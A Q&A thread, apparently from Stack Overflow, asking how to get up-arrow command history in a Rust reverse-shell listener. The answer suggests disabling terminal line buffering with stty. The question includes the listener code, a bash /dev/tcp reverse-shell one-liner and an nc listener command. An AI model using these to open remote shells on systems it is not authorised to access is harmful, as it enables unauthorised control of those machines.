Rust Reverse Shell Recent Command On Up Key Press

337 views Asked by At

I have this rust reverse shell that listens on a ports and awaits a connection.
Then I can run something like /bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1' to get a reverse shell.

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

Everything works fine execept that it doesn't put the most recent command in the input when I press the up arrow on my keyboard, Instead it puts ^[[A

[root@arch ~]$ echo hello
echo hello
hello
[root@arch ~]$ ^[[A <------
echo hello
hello
[root@arch ~]$ 

As you can see here it runs the most recent command perfectly! But it doesn't put the command in the input as it would do in a normal shell. I guess that is because it only sends stuff to the shell when you press enter.

I have already tried rustyline like this but it removed the entire user and directory ( [root@arch ~]$ ) when pressing the up arrow or doing anything else related to it.

use rustyline::error::ReadlineError;
use rustyline::Editor;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}

So if there is a possibility to put the recent command in the input when the up arrow is pressed without using rustyline & storing the history locally?

So it would look something like this:

[root@arch ~]$ echo hello
hello
[root@arch ~]$ echo hello (up arrow pressed)
hello
[root@arch ~]$ 

Summary of what I am seeking how to do!
That it live updates the input when pressing the up key for example.
Basically changing the input in real time when the up key is pressed like rlwrap -cAr nc -lvnp 55100
for example

[root@arch ~]$ echo hello
echo hello <------ ==|==
hello

Instead of showing it under when enter is pressed, I would want it to be in the input in real time

1

There are 1 answers

3
Selicre On

You were right in your assessment that your initial attempt didn't work due to line buffering. The proper way to fix this is by disabling it. I've got this to work by running stty cbreak -echo; either spawn this by the process itself, or simply use stty cbreak -echo && cargo run.

In the above command, cbreak disables the line buffering and -echo disables the automatic printing of the character by the terminal, since that is done by the shell. If you look at your first output, you'll see that happens there, too.

This only works on unix-like systems. Windows might have a winapi call that does the same thing.